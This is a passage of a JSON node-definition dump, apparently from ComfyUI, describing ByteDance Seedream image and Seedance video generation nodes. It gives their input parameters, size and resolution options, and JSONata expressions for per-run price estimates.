"image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14"], "min": 0}}], "fail_on_partial": ["BOOLEAN", {"tooltip": "If enabled, abort execution if any requested images are missing or return an error.", "advanced": true, "default": false}]}}}, {"key": "seedream-4-5-251128", "inputs": {"required": {"size_preset": ["COMBO", {"tooltip": "Pick a recommended size. Select Custom to use the width and height below.", "multiselect": false, "options": ["(2K) 2048x2048 (1:1)", "(2K) 1728x2304 (3:4)", "(2K) 2304x1728 (4:3)", "(2K) 2848x1600 (16:9)", "(2K) 1600x2848 (9:16)", "(2K) 1664x2496 (2:3)", "(2K) 2496x1664 (3:2)", "(2K) 3136x1344 (21:9)", "(4K) 4096x4096 (1:1)", "(4K) 3520x4704 (3:4)", "(4K) 4704x3520 (4:3)", "(4K) 5504x3040 (16:9)", "(4K) 3040x5504 (9:16)", "(4K) 3328x4992 (2:3)", "(4K) 4992x3328 (3:2)", "(4K) 6240x2656 (21:9)", "Custom"]}], "width": ["INT", {"tooltip": "Custom width for image. Value is working only if `size_preset` is set to `Custom`", "default": 2048, "min": 1024, "max": 6240, "step": 2}], "height": ["INT", {"tooltip": "Custom height for image. Value is working only if `size_preset` is set to `Custom`", "default": 2048, "min": 1024, "max": 4992, "step": 2}], "max_images": ["INT", {"tooltip": "Maximum number of images to generate. With 1, exactly one image is produced. With >1, the model generates between 1 and max_images related images (e.g., story scenes, character variations). Total images (input + generated) cannot exceed 15.", "default": 1, "min": 1, "max": 10, "step": 1, "display": "number"}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) for image-to-image or multi-reference generation. Up to 10 images.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10"], "min": 0}}], "fail_on_partial": ["BOOLEAN", {"tooltip": "If enabled, abort execution if any requested images are missing or return an error.", "advanced": true, "default": false}]}}}, {"key": "seedream-4-0-250828", "inputs": {"required": {"size_preset": ["COMBO", {"tooltip": "Pick a recommended size. Select Custom to use the width and height below.", "multiselect": false, "options": ["(1K) 1024x1024 (1:1)", "(1K) 864x1152 (3:4)", "(1K) 1152x864 (4:3)", "(1K) 1312x736 (16:9)", "(1K) 736x1312 (9:16)", "(1K) 832x1248 (2:3)", "(1K) 1248x832 (3:2)", "(1K) 1568x672 (21:9)", "(2K) 2048x2048 (1:1)", "(2K) 1728x2304 (3:4)", "(2K) 2304x1728 (4:3)", "(2K) 2848x1600 (16:9)", "(2K) 1600x2848 (9:16)", "(2K) 1664x2496 (2:3)", "(2K) 2496x1664 (3:2)", "(2K) 3136x1344 (21:9)", "(4K) 4096x4096 (1:1)", "(4K) 3520x4704 (3:4)", "(4K) 4704x3520 (4:3)", "(4K) 5504x3040 (16:9)", "(4K) 3040x5504 (9:16)", "(4K) 3328x4992 (2:3)", "(4K) 4992x3328 (3:2)", "(4K) 6240x2656 (21:9)", "Custom"]}], "width": ["INT", {"tooltip": "Custom width for image. Value is working only if `size_preset` is set to `Custom`", "default": 2048, "min": 1024, "max": 6240, "step": 2}], "height": ["INT", {"tooltip": "Custom height for image. Value is working only if `size_preset` is set to `Custom`", "default": 2048, "min": 1024, "max": 4992, "step": 2}], "max_images": ["INT", {"tooltip": "Maximum number of images to generate. With 1, exactly one image is produced. With >1, the model generates between 1 and max_images related images (e.g., story scenes, character variations). Total images (input + generated) cannot exceed 15.", "default": 1, "min": 1, "max": 10, "step": 1, "display": "number"}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) for image-to-image or multi-reference generation. Up to 10 images.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10"], "min": 0}}], "fail_on_partial": ["BOOLEAN", {"tooltip": "If enabled, abort execution if any requested images are missing or return an error.", "advanced": true, "default": false}]}}}]}], "seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an \"AI generated\" watermark to the image.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "seed", "watermark"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ByteDanceSeedreamNodeV2", "display_name": "ByteDance Seedream 4.5 & 5.0", "description": "Unified text-to-image generation and precise single-sentence editing at up to 4K resolution.", "python_module": "comfy_api_nodes.nodes_bytedance", "category": "partner/image/ByteDance", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $price := $contains(widgets.model, \"5.0 lite\") ? 0.035 :\n $contains(widgets.model, \"4-5\") ? 0.04 : 0.03;\n {\n \"type\":\"usd\",\n \"usd\": $price,\n \"format\": { \"suffix\":\" x images/Run\", \"approximate\": true }\n }\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ByteDanceTextToVideoNode": {"input": {"required": {"model": ["COMBO", {"default": "seedance-1-0-pro-fast-251015", "multiselect": false, "options": ["seedance-1-5-pro-251215", "seedance-1-0-pro-250528", "seedance-1-0-lite-t2v-250428", "seedance-1-0-pro-fast-251015"]}], "prompt": ["STRING", {"tooltip": "The text prompt used to generate the video.", "multiline": true}], "resolution": ["COMBO", {"tooltip": "The resolution of the output video.", "multiselect": false, "options": ["480p", "720p", "1080p"]}], "aspect_ratio": ["COMBO", {"tooltip": "The aspect ratio of the output video.", "multiselect": false, "options": ["16:9", "4:3", "1:1", "3:4", "9:16", "21:9"]}], "duration": ["INT", {"tooltip": "The duration of the output video in seconds.", "default": 5, "min": 3, "max": 12, "step": 1, "display": "slider"}]}, "optional": {"seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "camera_fixed": ["BOOLEAN", {"tooltip": "Specifies whether to fix the camera. The platform appends an instruction to fix the camera to your prompt, but does not guarantee the actual effect.", "advanced": true, "default": false}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an \"AI generated\" watermark to the video.", "advanced": true, "default": false}], "generate_audio": ["BOOLEAN", {"tooltip": "This parameter is ignored for any model except seedance-1-5-pro.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt", "resolution", "aspect_ratio", "duration"], "optional": ["seed", "camera_fixed", "watermark", "generate_audio"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ByteDanceTextToVideoNode", "display_name": "ByteDance Text to Video", "description": "Generate video using ByteDance models via api based on prompt", "python_module": "comfy_api_nodes.nodes_bytedance", "category": "partner/video/ByteDance", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "duration", "type": "INT"}, {"name": "resolution", "type": "COMBO"}, {"name": "generate_audio", "type": "BOOLEAN"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $priceByModel := {\n \"seedance-1-5-pro\": {\n \"480p\":[0.12,0.12],\n \"720p\":[0.26,0.26],\n \"1080p\":[0.58,0.59]\n },\n \"seedance-1-0-pro\": {\n \"480p\":[0.23,0.24],\n \"720p\":[0.51,0.56],\n \"1080p\":[1.18,1.22]\n },\n \"seedance-1-0-pro-fast\": {\n \"480p\":[0.09,0.1],\n \"720p\":[0.21,0.23],\n \"1080p\":[0.47,0.49]\n },\n \"seedance-1-0-lite\": {\n \"480p\":[0.17,0.18],\n \"720p\":[0.37,0.41],\n \"1080p\":[0.85,0.88]\n }\n };\n $model := widgets.model;\n $modelKey :=\n $contains($model, \"seedance-1-5-pro\") ? \"seedance-1-5-pro\" :\n $contains($model, \"seedance-1-0-pro-fast\") ? \"seedance-1-0-pro-fast\" :\n $contains($model, \"seedance-1-0-pro\") ? \"seedance-1-0-pro\" :\n \"seedance-1-0-lite\";\n $resolution := widgets.resolution;\n $resKey :=\n $contains($resolution, \"1080\") ? \"1080p\" :\n $contains($resolution, \"720\") ? \"720p\" :\n \"480p\";\n $modelPrices := $lookup($priceByModel, $modelKey);\n $baseRange := $lookup($modelPrices, $resKey);\n $min10s := $baseRange[0];\n $max10s := $baseRange[1];\n $scale := widgets.duration / 10;\n $audioMultiplier := ($modelKey = \"seedance-1-5-pro\" and widgets.generate_audio) ? 2 : 1;\n $minCost := $min10s * $scale * $audioMultiplier;\n $maxCost := $max10s * $scale * $audioMultiplier;\n ($minCost = $maxCost)\n ? {\"type\":\"usd\",\"usd\": $minCost, \"format\": { \"approximate\": true }}\n : {\"type\":\"range_usd\",\"min_usd\": $minCost, \"max_usd\": $maxCost, \"format\": { \"approximate\": true }}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ByteDanceImageToVideoNode": {"input": {"required": {"model": ["COMBO", {"default": "seedance-1-0-pro-fast-251015", "multiselect": false, "options": ["seedance-1-5-pro-251215", "seedance-1-0-pro-250528", "seedance-1-0-lite-i2v-250428", "seedance-1-0-pro-fast-251015"]}], "prompt": ["STRING", {"tooltip": "The text prompt used to generate the video.", "multiline": true}], "image": ["IMAGE", {"tooltip": "First frame to be used for the video."}], "resolution": ["COMBO", {"tooltip": "The resolution of the output video.", "multiselect": false, "options": ["480p", "720p", "1080p"]}], "aspect_ratio": ["COMBO", {"tooltip": "The aspect ratio of the output video.", "multiselect": false, "options": ["adaptive", "16:9", "4:3", "1:1", "3:4", "9:16", "21:9"]}], "duration": ["INT", {"tooltip": "The duration of the output video in seconds.", "default": 5, "min": 3, "max": 12, "step": 1, "display": "slider"}]}, "optional": {"seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "camera_fixed": ["BOOLEAN", {"tooltip": "Specifies whether to fix the camera. The platform appends an instruction to fix the camera to your prompt, but does not guarantee the actual effect.", "advanced": true, "default": false}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an \"AI generated\" watermark to the video.", "advanced": true, "default": false}], "generate_audio": ["BOOLEAN", {"tooltip": "This parameter is ignored for any model except seedance-1-5-pro.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt", "image", "resolution", "aspect_ratio", "duration"], "optional": ["seed", "camera_fixed", "watermark", "generate_audio"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ByteDanceImageToVideoNode", "display_name": "ByteDance Image to Video", "description": "Generate video using ByteDance models via api based on image and prompt", "python_module": "comfy_api_nodes.nodes_bytedance", "category": "partner/video/ByteDance", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "duration", "type": "INT"}, {"name": "resolution", "type": "COMBO"}, {"name": "generate_audio", "type": "BOOLEAN"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $priceByModel := {\n \"seedance-1-5-pro\": {\n \"480p\":[0.12,0.12],\n \"720p\":[0.26,0.26],\n \"1080p\":[0.58,0.59]\n },\n \"seedance-1-0-pro\": {\n \"480p\":[0.23,0.24],\n \"720p\":[0.51,0.56],\n \"1080p\":[1.18,1.22]\n },\n \"seedance-1-0-pro-fast\": {\n \"480p\":[0.09,0.1],\n \"720p\":[0.21,0.23],\n \"1080p\":[0.47,0.49]\n },\n \"seedance-1-0-lite\": {\n \"480p\":[0.17,0.18],\n \"720p\":[0.37,0.41],\n \"1080p\":[0.85,0.88]\n }\n };\n $model := widgets.model;\n $modelKey :=\n $contains($model, \"seedance-1-5-pro\") ? \"seedance-1-5-pro\" :\n $contains($model, \"seedance-1-0-pro-fast\") ? \"seedance-1-0-pro-fast\" :\n $contains($model, \"seedance-1-0-pro\") ? \"seedance-1-0-pro\" :\n \"seedance-1-0-lite\";\n $resolution := widgets.resolution;\n $resKey :=\n $contains($resolution, \"1080\") ? \"1080p\" :\n $contains($resolution, \"720\") ? \"720p\" :\n \"480p\";\n $modelPrices := $lookup($priceByModel, $modelKey);\n $baseRange := $lookup($modelPrices, $resKey);\n $min10s := $baseRange[0];\n $max10s := $baseRange[1];\n $scale := widgets.duration / 10;\n $audioMultiplier := ($modelKey = \"seedance-1-5-pro\" and widgets.generate_audio) ? 2 : 1;\n $minCost := $min10s * $scale * $audioMultiplier;\n $maxCost := $max10s * $scale * $audioMultiplier;\n ($minCost = $maxCost)\n ? {\"type\":\"usd\",\"usd\": $minCost, \"format\": { \"approximate\": true }}\n : {\"type\":\"range_usd\",\"min_usd\": $minCost, \"max_usd\": $maxCost, \"format\": { \"approximate\": true }}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ByteDanceFirstLastFrameNode": {"input": {"required": {"model": ["COMBO", {"default": "seedance-1-0-lite-i2v-250428", "multiselect": false, "options": ["seedance-1-5-pro-251215", "seedance-1-0-pro-250528", "seedance-1-0-lite-i2v-250428"]}], "prompt": ["STRING", {"tooltip": "The text prompt used to generate the video.", "multiline": true}], "first_frame": ["IMAGE", {"tooltip": "First frame to be used for the video."}], "last_frame": ["IMAGE", {"tooltip": "Last frame to be used for the video."}], "resolution": ["COMBO", {"tooltip": "The resolution of the output video.", "multiselect": false, "options": ["480p", "720p", "1080p"]}], "aspect_ratio": ["COMBO", {"tooltip": "The aspect ratio of the output video.", "multiselect": false, "options": ["adaptive", "16:9", "4:3", "1:1", "3:4", "9:16", "21:9"]}], "duration": ["INT", {"tooltip": "The duration of the output video in seconds.", "default": 5, "min": 3, "max": 12, "step": 1, "display": "slider"}]}, "optional": {"seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "camera_fixed": ["BOOLEAN", {"tooltip": "Specifies whether to fix the camera. The platform appends an instruction to fix the camera to your prompt, but does not guarantee the actual effect.", "advanced": true, "default": false}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an \"AI generated\" watermark to the video.", "advanced": true, "default": false}], "generate_audio": ["BOOLEAN", {"tooltip": "This parameter is ignored for any model except seedance-1-5-pro.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt", "first_frame", "last_frame", "resolution", "aspect_ratio", "duration"], "optional": ["seed", "camera_fixed", "watermark", "generate_audio"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ByteDanceFirstLastFrameNode", "display_name": "ByteDance First-Last-Frame to Video", "description": "Generate video using prompt and first and last frames.", "python_module": "comfy_api_nodes.nodes_bytedance", "category": "partner/video/ByteDance", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "duration", "type": "INT"}, {"name": "resolution", "type": "COMBO"}, {"name": "generate_audio", "type": "BOOLEAN"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $priceByModel := {\n \"seedance-1-5-pro\": {\n \"480p\":[0.12,0.12],\n \"720p\":[0.26,0.26],\n \"1080p\":[0.58,0.59]\n },\n \"seedance-1-0-pro\": {\n \"480p\":[0.23,0.24],\n \"720p\":[0.51,0.56],\n \"1080p\":[1.18,1.22]\n },\n \"seedance-1-0-pro-fast\": {\n \"480p\":[0.09,0.1],\n \"720p\":[0.21,0.23],\n \"1080p\":[0.47,0.49]\n },\n \"seedance-1-0-lite\": {\n \"480p\":[0.17,0.18],\n \"720p\":[0.37,0.41],\n \"1080p\":[0.85,0.88]\n }\n };\n $model := widgets.model;\n $modelKey :=\n $contains($model, \"seedance-1-5-pro\") ? \"seedance-1-5-pro\" :\n $contains($model, \"seedance-1-0-pro-fast\") ? \"seedance-1-0-pro-fast\" :\n $contains($model, \"seedance-1-0-pro\") ? \"seedance-1-0-pro\" :\n \"seedance-1-0-lite\";\n $resolution := widgets.resolution;\n $resKey :=\n $contains($resolution, \"1080\") ? \"1080p\" :\n $contains($resolution, \"720\") ? \"720p\" :\n \"480p\";\n $modelPrices := $lookup($priceByModel, $modelKey);\n $baseRange := $lookup($modelPrices, $resKey);\n $min10s := $baseRange[0];\n $max10s := $baseRange[1];\n $scale := widgets.duration / 10;\n $audioMultiplier := ($modelKey = \"seedance-1-5-pro\" and widgets.generate_audio) ? 2 : 1;\n $minCost := $min10s * $scale * $audioMultiplier;\n $maxCost := $max10s * $scale * $audioMultiplier;\n ($minCost = $maxCost)\n ? {\"type\":\"usd\",\"usd\": $minCost, \"format\": { \"approximate\": true }}\n : {\"type\":\"range_usd\",\"min_usd\": $minCost, \"max_usd\": $maxCost, \"format\": { \"approximate\": true }}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ByteDanceImageReferenceNode": {"input": {"required": {"model": ["COMBO", {"default": "seedance-1-0-lite-i2v-250428", "multiselect": false, "options": ["seedance-1-0-pro-250528", "seedance-1-0-lite-i2v-250428"]}], "prompt": ["STRING", {"tooltip": "The text prompt used to generate the video.", "multiline": true}], "images": ["IMAGE", {"tooltip": "One to four images."}], "resolution": ["COMBO", {"tooltip": "The resolution of the output video.", "multiselect": false, "options": ["480p", "720p"]}], "aspect_ratio": ["COMBO", {"tooltip": "The aspect ratio of the output video.", "multiselect": false, "options": ["adaptive", "16:9", "4:3", "1:1", "3:4", "9:16", "21:9"]}], "duration": ["INT", {"tooltip": "The duration of the output video in seconds.", "default": 5, "min": 3, "max": 12, "step": 1, "display": "slider"}]}, "optional": {"seed": ["INT", {"tooltip": "Seed to use for generation.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add an \"AI generated\" watermark to the video.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt", "images", "resolution", "aspect_ratio", "duration"], "optional": ["seed", "watermark"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ByteDanceImageReferenceNode", "display_name": "ByteDance Reference Images to Video", "description": "Generate video using prompt and reference images.", "python_module": "comfy_api_nodes.nodes_bytedance", "category": "partner/video/ByteDance", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "duration", "type": "INT"}, {"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $priceByModel := {\n \"seedance-1-0-pro\": {\n \"480p\":[0.23,0.24],\n \"720p\":[0.51,0.56]\n },\n \"seedance-1-0-lite\": {\n \"480p\":[0.17,0.18],\n \"720p\":[0.37,0.41]\n }\n };\n $model := widgets.model;\n $modelKey :=\n $contains($model, \"seedance-1-0-pro\") ? \"seedance-1-0-pro\" :\n \"seedance-1-0-lite\";\n $resolution := widgets.resolution;\n $resKey :=\n $contains($resolution, \"720\") ? \"720p\" :\n \"480p\";\n $modelPrices := $lookup($priceByModel, $modelKey);\n $baseRange := $lookup($modelPrices, $resKey);\n $min10s := $baseRange[0];\n $max10s := $baseRange[1];\n $scale := widgets.duration / 10;\n $minCost := $min10s * $scale;\n $maxCost := $max10s * $scale;\n ($minCost = $maxCost)\n ? {\"type\":\"usd\",\"usd\": $minCost}\n : {\"type\":\"range_usd\",\"min_usd\": $minCost, \"max_usd\": $maxCost}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ByteDance2TextToVideoNode": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Seedance 2.0 for maximum quality; Seedance 2.0 Fast for speed optimization.", "options": [{"key": "Seedance 2.0", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for video generation.", "default": "", "multiline": true}], "resolution": ["COMBO", {"tooltip": "Resolution of the output video.", "multiselect": false, "options": ["480p", "720p", "1080p", "4k"]}], "ratio": ["COMBO", {"tooltip": "Aspect ratio of the output video.", "default": "16:9", "multiselect": false, "options": ["16:9", "4:3", "1:1", "3:4", "9:16", "21:9", "adaptive"]}], "duration": ["INT", {"tooltip": "Duration of the output video in seconds (4-15).", "default": 7, "min": 4, "max": 15, "step": 1, "display": "slider"}], "generate_audio": ["BOOLEAN", {"tooltip": "Enable audio generation for the output video.", "default": true}]}}}, {"key": "Seedance 2.0 Fast", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for video generation.", "default": "", "multiline": true}], "resolution": ["COMBO", {"tooltip": "Resolution of the output video.", "multiselect": false, "options": ["480p", "720p"]}], "ratio": ["COMBO", {"tooltip": "Aspect ratio of the output video.", "default": "16:9", "multiselect": false, "options": ["16:9", "4:3", "1:1", "3:4", "9:16", "21:9", "adaptive"]}], "duration": ["INT", {"tooltip": "Duration of the output video in seconds (4-15).", "default": 7, "min": 4, "max": 15, "step": 1, "display": "slider"}], "generate_audio": ["BOOLEAN", {"tooltip": "Enable audio generation for the output video.", "default": true}]}}}]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add a watermark to the video.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "seed", "watermark"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ByteDance2TextToVideoNode", "display_name": "ByteDance Seedance 2.0 Text to Video", "description": "Generate video using Seedance 2.0 models based on a text prompt.", "python_module": "comfy_api_nodes.nodes_bytedance", "category": "partner/video/ByteDance", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.resolution", "type": "COMBO"}, {"name": "model.duration", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $rate480 := 10044;\n $rate720 := 21600;\n $rate1080 := 48800;\n $rate4k := 195200;\n $m := widgets.model;\n $res := $lookup(widgets, \"model.resolution\");\n $dur := $lookup(widgets, \"model.duration\");\n $pricePer1K := $res = \"4k\" ? 0.00572 :\n $res = \"1080p\" ? 0.011011 :\n $contains($m, \"fast\") ? 0.008008 : 0.01001;\n $rate := $res = \"4k\" ? $rate4k :\n $res = \"1080p\" ? $rate1080 :\n $res = \"720p\" ? $rate720 :\n $rate480;\n $cost := $dur * $rate * $pricePer1K / 1000;\n {\"type\": \"usd\", \"usd\": $cost, \"format\": {\"approximate\": true}}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ByteDance2FirstLastFrameNode": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Seedance 2.0 for maximum quality; Seedance 2.0 Fast for speed optimization.", "options": [{"key": "Seedance 2.0", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for video generation.", "default": "", "multiline": true}], "resolution": ["COMBO", {"tooltip": "Resolution of the output video.", "multiselect": false, "options": ["480p", "720p", "1080p", "4k"]}], "ratio": ["COMBO", {"tooltip": "Aspect ratio of the output video.", "default": "adaptive", "multiselect": false, "options": ["16:9", "4:3", "1:1", "3:4", "9:16", "21:9", "adaptive"]}], "duration": ["INT", {"tooltip": "Duration of the output video in seconds (4-15).", "default": 7, "min": 4, "max": 15, "step": 1, "display": "slider"}], "generate_audio": ["BOOLEAN", {"tooltip": "Enable audio generation for the output video.", "default": true}]}}}, {"key": "Seedance 2.0 Fast", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for video generation.", "default": "", "multiline": true}], "resolution": ["COMBO", {"tooltip": "Resolution of the output video.", "multiselect": false, "options": ["480p", "720p"]}], "ratio": ["COMBO", {"tooltip": "Aspect ratio of the output video.", "default": "adaptive", "multiselect": false, "options": ["16:9", "4:3", "1:1", "3:4", "9:16", "21:9", "adaptive"]}], "duration": ["INT", {"tooltip": "Duration of the output video in seconds (4-15).", "default": 7, "min": 4, "max": 15, "step": 1, "display": "slider"}], "generate_audio": ["BOOLEAN", {"tooltip": "Enable audio generation for the output video.", "default": true}]}}}]}], "seed": ["INT", {"tooltip": "Seed controls whether the node should re-run; results are non-deterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "watermark": ["BOOLEAN", {"tooltip": "Whether to add a watermark to the video.", "advanced": true, "default": false}]}, "optional": {"first_frame": ["IMAGE", {"tooltip": "First frame image for the video."}], "last_frame": ["IMAGE", {"tooltip": "Last frame image for the video."}], "first_frame_asset_id": ["STRING", {"tooltip": "Seedance asset_id to use as the first frame. Mutually exclusive with the first_frame image input.", "default": "", "multiline": false}], "last_frame_asset_id": ["STRING", {"tooltip": "Seedance asset_id to use as the last frame. Mutually exclusive with the last_frame image input.", "default": "", "multiline": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "seed", "watermark"], "optional": ["first_frame", "last_frame", "first_frame_asset_id", "last_frame_asset_id"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ByteDance2FirstLastFrameNode", "display_name": "ByteDance Seedance 2.0 First-Last-Frame to Video", "description": "Generate video using Seedance 2.0 from a first frame image and optional last frame image.", "python_module": "comfy_api_nodes.nodes_bytedance", "category": "partner/video/ByteDance", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.resolution", "type": "COMBO"}, {"name": "model.duration", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $rate480 := 10044;\n $rate720 := 21600;\n $rate1080 := 48800;\n $rate4k := 195200;\n $m := widgets.model;\n $res := $lookup(widgets, \"model.resolution\");\n $dur := $lookup(widgets, \"model.duration\");\n $pricePer1K := $res = \"4k\" ? 0.00572 :\n $res = \"1080p\" ? 0.011011 :\n $contains($m, \"fast\") ? 0.008008 : 0.01001;\n $rate := $res = \"4k\" ? $rate4k :\n $res = \"1080p\" ? $rate1080 :\n $res = \"720p\" ? $rate720 :\n $rate480;\n $cost := $dur * $rate * $pricePer1K / 1000;\n {\"type\": \"usd\", \"usd\": $cost, \"format\": {\"approximate\": true}}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ByteDance2ReferenceNode": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Seedance 2.0 for maximum quality; Seedance 2.0 Fast for speed optimization.", "options": [{"key": "Seedance 2.0", "inputs": {"required": {"prompt": ["STRING", {"tooltip": "Text prompt for video generation.", "default": "", "multiline": true}], "resolution": ["COMBO", {"tooltip": "Resolution of the output video.", "multiselect": false, "options": 